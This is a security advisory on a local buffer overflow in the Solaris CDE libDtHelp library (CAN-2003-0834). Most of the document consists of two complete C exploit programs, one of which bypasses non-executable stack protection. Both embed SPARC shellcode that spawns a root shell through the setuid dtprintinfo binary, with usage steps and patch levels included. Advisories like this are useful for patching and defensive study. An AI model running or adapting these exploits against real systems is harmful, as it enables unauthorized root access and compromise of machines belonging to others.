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Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable
Stack)
------------------------------------------------------------------------
SUMMARY
A buffer overflow in CDE libDtHelp library allows local users to execute
arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable
and the Help feature.
DETAILS
Vulnerable Systems:
* Solaris 7 without patch 107178-03
* Solaris 8 without patch 108949-08
* Solaris 9 without patch 116308-01
Exploit Code:
The first exploit code presented here (raptor_libdthelp.c) will exploit a
system without user stack execution restriction. The second exploit
targets systems with non executable user stack protection.
raptor_libdthelp.c
/*
* $Id: raptor_libdthelp.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9
* Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in CDE libDtHelp library allows local users to execute
* arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable
* and the Help feature (CAN-2003-0834).
*
* Possible attack vectors are: DTHELPSEARCHPATH (as used in this
exploit),
* DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different
* exploitation technique, due to different code paths).
*
* Usage:
* $ gcc raptor_libdthelp.c -o raptor_libdthelp -Wall
* [on your xserver: disable the access control]
* $ ./raptor_libdthelp 192.168.1.1:0
* [on your xserver: enter the dtprintinfo help]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 7 without patch 107178-03 [tested]
* Solaris 8 without patch 108949-08 [tested]
* Solaris 9 without patch 116308-01 [tested]
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC
7/8/9"
#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi
<raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // default setuid target
#define BUFSIZE 1200 // size of the evil buffer
#define VARSIZE 1024 // size of the evil env vars
/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE];
char platform[256], release[256], display[256];
int i, offset, ret, var1_addr, var2_addr;
int plat_len, prog_len, rel;
char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);
/* prepare the evil buffer */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "DTHELPSEARCHPATH=", 17);
/* prepare the evil env vars */
memset(var1, 'B', sizeof(var1));
var1[sizeof(var1) - 1] = 0x0;
memset(var2, 'C', sizeof(var2));
var2[sizeof(var2) - 1] = 0x0;
/* fill the envp, keeping padding */
var1_addr = add_env(sc);
var2_addr = add_env(var1);
add_env(var2);
add_env(display);
add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin");
add_env("HOME=/tmp");
add_env(buf);
add_env(NULL);
/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)
/* calculate the needed addresses */
ret = sb - offset + arg_len;
var1_addr += ret;
var2_addr += ret;
/* fill the evil buffer */
for (i = 17; i < BUFSIZE - 8; i += 4)
set_val(buf, i, var1_addr - 5000);
/* fill the evil env vars */
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var1, i, var2_addr - 500);
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var2, i, ret);
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr);
fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr);
fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
raptor_libdthelp2.c
/*
* $Id: raptor_libdthelp2.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9
* Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in CDE libDtHelp library allows local users to execute
* arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable
* and the Help feature (CAN-2003-0834).
*
* "Stay with non exec, it keeps you honest" -- Dave Aitel (0dd)
*
* Possible attack vectors are: DTHELPSEARCHPATH (as used in this
exploit),
* DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different
* exploitation technique, due to different code paths).
*
* This is the ret-into-ld.so version of raptor_libdthelp.c, able to
bypass
* the non-executable stack protection (noexec_user_stack=1 in
/etc/system).
*
* NOTE. If experiencing troubles with null-bytes inside the ld.so.1
memory
* space, use sprintf() instead of strcpy() (tested on some Solaris 7
boxes).
*
* Usage:
* $ gcc raptor_libdthelp2.c -o raptor_libdthelp2 -ldl -Wall
* [on your xserver: disable the access control]
* $ ./raptor_libdthelp2 192.168.1.1:0
* [on your xserver: enter the dtprintinfo help]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 7 without patch 107178-03 [tested]
* Solaris 8 without patch 108949-08 [tested]
* Solaris 9 without patch 116308-01 [tested]
*/
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC
7/8/9"
#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi
<raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // default setuid target
#define BUFSIZE 1200 // size of the evil buffer
#define VARSIZE 1024 // size of the evil env vars
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE], ff[FFSIZE];
char platform[256], release[256], display[256];
int i, offset, ff_addr, sc_addr, var1_addr, var2_addr;
int plat_len, prog_len, rel;
char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("strcpy"); /* or sprintf */
int rwx_mem = search_rwx_mem();
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);
/* prepare the evil buffer */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "DTHELPSEARCHPATH=", 17);
/* prepare the evil env vars */
memset(var1, 'B', sizeof(var1));
var1[sizeof(var1) - 1] = 0x0;
memset(var2, 'C', sizeof(var2));
var2[sizeof(var2) - 1] = 0x0;
/* prepare the fake frame */
bzero(ff, sizeof(ff));
/*
* saved %l registers
*/
set_val(ff, i = 0, DUMMY); /* %l0 */
set_val(ff, i += 4, DUMMY); /* %l1 */
set_val(ff, i += 4, DUMMY); /* %l2 */
set_val(ff, i += 4, DUMMY); /* %l3 */
set_val(ff, i += 4, DUMMY); /* %l4 */
set_val(ff, i += 4, DUMMY); /* %l5 */
set_val(ff, i += 4, DUMMY); /* %l6 */
set_val(ff, i += 4, DUMMY); /* %l7 */
/*
* saved %i registers
*/
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */
set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
set_val(ff, i += 4, DUMMY); /* %i2 */
set_val(ff, i += 4, DUMMY); /* %i3 */
set_val(ff, i += 4, DUMMY); /* %i4 */
set_val(ff, i += 4, DUMMY); /* %i5 */
set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
/* fill the envp, keeping padding */
sc_addr = add_env(ff);
var1_addr = add_env(sc);
var2_addr = add_env(var1);
add_env(var2);
add_env(display);
add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin");
add_env("HOME=/tmp");
add_env(buf);
add_env(NULL);
/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)
/* calculate the needed addresses */
ff_addr = sb - offset + arg_len;
sc_addr += ff_addr;
var1_addr += ff_addr;
var2_addr += ff_addr;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
/* fill the evil buffer */
for (i = 17; i < BUFSIZE - 76; i += 4)
set_val(buf, i, var1_addr - 5000);
/* apparently, we don't need to bruteforce */
set_val(buf, i, ff_addr);
set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */
/* fill the evil env vars */
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var1, i, var2_addr - 500);
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var2, i, ret - 8); /* ret, before strcpy() */
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr);
fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
check_zero(addr - 8, sym); /* addr - 8 is the ret before strcpy() */
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return(addr_old);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:raptor@0xdeadbeef.info>
Raptor.
The original article can be found at:
<http://www.0xdeadbeef.info/exploits/raptor_libdthelp.c>
http://www.0xdeadbeef.info/exploits/raptor_libdthelp.c
The original article can be found at:
<http://www.0xdeadbeef.info/exploits/raptor_libdthelp2.c>
http://www.0xdeadbeef.info/exploits/raptor_libdthelp2.c
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